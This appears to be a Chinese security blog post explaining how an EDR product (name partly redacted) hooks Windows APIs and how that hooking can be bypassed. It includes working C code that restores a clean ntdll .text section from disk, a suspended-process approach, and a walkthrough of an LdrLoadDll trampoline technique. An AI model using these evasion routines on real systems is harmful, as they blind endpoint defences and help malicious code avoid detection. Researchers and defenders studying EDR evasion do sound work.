API Hook是通过替换操作系统中的 API 函数来拦截对这些函数的调用。在 Windows操作系统中,许多关键函数(如 CreateFile、ReadFile、LoadLibrary等)是通过DLL导出实现的,而这些DLL又被操作系统加载到进程的地址空间中。
为了拦截这些 API 调用,EDR会修改目标DLL中的函数入口并且将EDR的DLL注入到进程中。常见的方法是将函数的开头几个字节修改为跳转指令(JMP),使得程序执行跳转到 EDR 提供的检测函数中。通过这种方式,EDR就能在目标Windows API被调用之前执行一些额外的检查,比如日志记录、恶意行为检测等。
这里通过Bit****der可以看见其将两个DLL注入到了当前进程中
这里将另外一个测试程序加入到白名单中,再次附加查看,发现并没有DLL注入
那么有什么区别呢,这里选OpenThread进行比较,这里可以看见Bit****der对于三环函数是有挂钩的(左:加了白名单,右:未加白名单)
Bit****der不仅对3环部分函数进行了Hook,对于0环部分函数也有hook(左:加了白名单,右:未加白名单)
那么如果不让Bit****der注入到进程,是否就能脱钩呢?
Windows官方提供了相关的函数与方法实现,禁止非Microsoft、Windows应用商店或Windows 硬件签名的程序注入到进程,具体函数参考如下链接:
这里实现了个简单的demo
#include
int main()
{
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY pmbsp = { 0 };
pmbsp.StoreSignedOnly = false;
pmbsp.MicrosoftSignedOnly = true;
BOOL result = SetProcessMitigationPolicy(ProcessSignaturePolicy, &pmbsp, sizeof(pmbsp));
if (!result) {
MessageBox(NULL, "False", "False", MB_OK);
}
MessageBox(NULL, "Success", "Success", MB_OK);
return 0;
}
程序多了Signatures restricted (Microsoft only),代表生效了
但是查看Modules中还是发现被Bit****der注入了DLL
查看这两个DLL发现,被加了微软的签名,那么这个demo可以说无效了
那么是否能绕过EDR的函数Hook策略呢?
比如3环VirtualAlloc函数,最终调用的0环函数是NtAllocateVirtualMemory,查看NtAllocateVirtualMemory函数,可以看见最后使用syscall调用系统调用
但是程序的堆栈是不正常的,因为正常的程序0环执行结束返回3环的时候,这个返回地址应该是在ntdll所在地址范围之内。
从磁盘加载一个干净的DLL文件,将其映射到内存中,并用磁盘中原始 .text 节的内容替换当前内存中已被挂钩的DLL的 .text节,来达到脱钩的目的。
简单的demo
void UnHookDll(LPCSTR dllname) {
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA(dllname);
GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
char dllpath[MAX_PATH] = { 0 };
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
sprintf_s(dllpath, "c:\\windows\\system32\\%s", dllname);
HANDLE ntdllFile = CreateFileA((LPCSTR)dllpath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
SIZE_T virtualSize = hookedSectionHeader->Misc.VirtualSize;
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
}
运行代码,发现三环函数已经脱钩了
内核函数也已经脱钩
先来创建一个被挂起的进程,简单的demo
#include
int main()
{
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(STARTUPINFOA);
BOOL result = CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (!result) {
MessageBox(NULL, "False", "False", MB_OK);
}
MessageBox(NULL, "Success CREATE_SUSPENDED", "Success CREATE_SUSPENDED", MB_OK);
return 0;
}
可以看到被挂起的进程中只有ntdll.dll,并没有其余的DLL,包括Bit****der杀软的DLL(左:被挂起的进程,右:未被挂起的进程)
并且可以看见NtWriteVirtualMemory函数并没有被挂钩
而且在同个操作系统上,不同程序加载的ntdll的基址都是相同的
因此可以确定,新起的被挂起的进程他的ntdll是没有被挂钩的,但是缺点很明显,只有Ntdll,对于kernel32.dll、KernelBase.dll还是不能脱钩,demo代码已经有外国友人实现了:https://github.com/dosxuz/PerunsFart
可以看见内核函数已经脱钩
一些EDR去Hook的方式就是去修改Windows DLL中的函数,通过在函数开头插入JMP指令来跳转到自己的检测函数
这种unhook方式就是自己去组装一个跳转函数,来进行EDR的规避。参考代码:https://github.com/trickster0/LdrLoadDll-Unhooking
先来简单看看代码的大体功能,然后再调试看看
定义与初始化,指定要加载的DLL,获取LdrLoadDll函数的地址
定义跳转指令的结构
之后就是将LdrLoadDll地址5个字节后的地址放入到jmpAddr中(之所以是5个字节后,是避免将EDR的hook函数的jmp指令一同放入到jmpAddr中),然后将jmpAddr的地址放入到 jumpAddress中
将LdrLoadDll地址5个字节后的地址放入到jmpAddr中
jmpAddr的地址放入到 jumpAddress中
申请一块内存,是为了保存最终要使用的LdrLoadDll的地址
最后就是修为trampoline内存属性为可执行,最后使用newLdrLoadDll加载DLL
使用newLdrLoadDll加载DLL,进入call看看
CCopyMemory处写入的指令
jmp过去看看,跳转回到LdrLoadDll的前5个字节后的地址去执行
9 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!